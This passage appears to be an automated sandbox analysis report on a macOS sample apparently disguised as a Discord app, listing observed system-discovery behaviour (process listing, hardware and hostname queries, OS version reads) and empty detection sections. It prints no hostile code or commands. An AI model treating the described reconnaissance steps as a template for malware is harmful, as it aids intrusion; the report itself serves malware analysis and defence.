Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.319 -> queries PID 319	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.318 -> queries PID 318	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.317 -> queries PID 317	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.316 -> queries PID 316	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.315 -> queries PID 315	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.314 -> queries PID 314	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.313 -> queries PID 313	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.312 -> queries PID 312	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.311 -> queries PID 311	Jump to behavior
Source: /bin/ps (PID: 578)	Sysctl requested: kern.procargs2 (1.49) only found for 1.49.310 -> queries PID 310	Jump to behavior

Reads hardware related sysctl values

Show sources

Source: /usr/sbin/system_profiler (PID: 570)	Sysctl read request: hw.cpu_freq (6.15)			Jump to behavior
Source: /usr/sbin/system_profiler (PID: 570)	Sysctl read request: hw.memsize (6.24)			Jump to behavior

Reads the systems hostname

Show sources

Source: /bin/bash (PID: 563)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 572)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 573)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 574)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 576)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 577)	Sysctl requested: kern.hostname (1.10)	Jump to behavior
Source: /bin/sh (PID: 590)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 600)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 608)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 617)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 624)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 633)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 642)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 650)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 658)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 667)	Sysctl requested: kern.hostname (1.10)
Source: /bin/sh (PID: 674)	Sysctl requested: kern.hostname (1.10)

Reads the system or server version plist file

Show sources

Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 575)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 575)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 589)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 589)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 598)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 598)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 607)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 607)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 616)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 616)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 623)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 623)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 632)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 632)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 641)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 641)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 648)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 648)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 657)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 657)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 666)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 666)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 673)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 673)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist

Runtime Messages

Command:	open
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Pe7niErK6B

Overview

General Information

Detection

Classification

Mitre Att&ck Matrix

Signature Overview

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Runtime Messages

Behavior Graph

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Antivirus Detection

Initial Sample

Dropped Files

Domains

URLs

Screenshots

Thumbnails